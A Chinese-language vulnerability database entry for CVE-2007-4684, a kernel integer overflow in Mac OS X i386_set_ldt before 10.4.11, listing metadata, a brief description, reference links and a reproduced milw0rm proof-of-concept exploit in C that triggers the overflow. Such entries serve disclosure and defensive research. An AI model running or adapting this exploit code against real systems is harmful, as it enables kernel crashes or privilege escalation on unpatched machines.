Apple Mac OS X kernel整数溢出多个安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113954 漏洞类型 缓冲区溢出
发布时间 2007-11-16 更新时间 2007-11-16
CVE编号 CVE-2007-4684 CNNVD-ID CNNVD-200711-185
漏洞平台 OSX CVSS评分 6.9
|漏洞来源
https://www.exploit-db.com/exploits/4624
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200711-185
|漏洞详情
AppleMacOSX是苹果家族机器所使用的操作系统。AppleMacOSX的10.4.11之前版本中存在多个安全漏洞:i386_set_ldt系统调用中的单字节溢出漏洞可能允许本地用户以提升的权限执行任意指令。
|漏洞EXP
#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and
copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}

// milw0rm.com [2007-11-16]
|参考资料

来源:US-CERT
名称:TA07-319A
链接:http://www.us-cert.gov/cas/techalerts/TA07-319A.html
来源:XF
名称:macosx-kernel-i386setldt-overflow(38468)
链接:http://xforce.iss.net/xforce/xfdb/38468
来源:BID
名称:26444
链接:http://www.securityfocus.com/bid/26444
来源:BUGTRAQ
名称:20071116[RISE-2007004]AppleMacOSX10.4.xKerneli386_set_ldt()IntegerOverflowVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/483793/100/0/threaded
来源:VUPEN
名称:ADV-2007-3868
链接:http://www.frsirt.com/english/advisories/2007/3868
来源:SECTRACK
名称:1018950
链接:http://securitytracker.com/id?1018950
来源:SECUNIA
名称:27643
链接:http://secunia.com/advisories/27643
来源:MISC
链接:http://risesecurity.org/advisory/RISE-2007004/
来源:FULLDISC
名称:20071116[RISE-2007004]AppleMacOSX10.4.xKerneli386_set_ldt()IntegerOverflowVulnerability
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2007-November/058522.html
来源:APPLE
名称:APPLE-SA-2007-11-14
链接:http://lists.apple.com/archives/security-announce/2007/Nov/msg00002.html
来源:docs.info.apple.com
链接:http://docs.in